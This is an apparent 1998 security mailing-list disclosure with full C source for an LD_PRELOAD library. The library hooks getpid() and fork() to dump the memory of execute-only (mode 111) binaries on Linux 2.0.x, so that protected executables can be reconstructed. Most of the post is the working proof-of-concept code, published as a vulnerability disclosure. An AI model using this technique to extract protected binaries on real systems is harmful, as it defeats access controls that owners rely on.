Date: Tue, 15 Sep 1998 12:36:22 +0800
From: David Luyer <[email protected]>
To: [email protected]Subject: Dump a mode --x--x--x binary on Linux 2.0.x
[Cc: to [email protected]]
The following file can be LD_PRELOAD'ed against a mode 111 (--x--x--x)
binary on Linux 2.0.x. It will dump the binary to a series of
process-dump-... files in the current directory. The executable itself
can be recovered by catting the first few files together and truncating
at the executable size. I have tested this by reconstructing a copy of
/bin/cat which I had protected mode 111 under Linux 2.0.x.
Tested up to 2.0.35 and ld.so 2.0.7.
I noticed this problem after Andreas Kies pointed out on linux-kernel
that you can strace a mode 111 (--x--x--x) binary on Linux 2.0.x. His
patch for that problem can be found in the linux-kernel archives, I'm not
aware of a patch for this problem yet.
David.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static char * filename = "process-dump-%04x-%08lx:%08lx";
static int ___mypid = 0;
void ___dump_memory() {
FILE *f, *maps;
char str[80], c, *fname;
unsigned long fr, to;
maps = fopen("/proc/self/maps", "r");
while (fgets(str, 80, maps) != NULL) {
if(sscanf(str, "%8lx-%8lx %c", &fr, &to, &c) != 3) {
fprintf(stderr, "bad /proc/maps line: %s\n", str);
continue;
}
if(c != 'r') {
fprintf(stderr, "non-readable map: %08lx to %08lx\n", fr, to);
continue;
}
if((to - fr) % 4096) {
fprintf(stderr, "warning: non-4k-blocked map: %08lx to %08lx\n", fr, to);
}
fname = malloc(strlen(filename) + 9);
sprintf(fname, filename, ___mypid, fr, to);
unlink(fname);
f = fopen(fname, "w");
fwrite((void *)fr, (to - fr)/4096, 4096, f);
fclose(f);
}
fclose(maps);
}
int getpid() {
/* override getpid() since this is called in most process startup */
if(!___mypid) {
___mypid = __getpid();
___dump_memory();
}
return ___mypid;
}
int fork() {
/* make sure getpid() returns correct value after fork() */
int i;
if((i = __fork()) && i != -1)
___mypid = i;
return i;
}
int clone() {
/* I couldn't be bothered... */
fputs("sorry this preload does not support clone()\n", stderr);
return -1;
}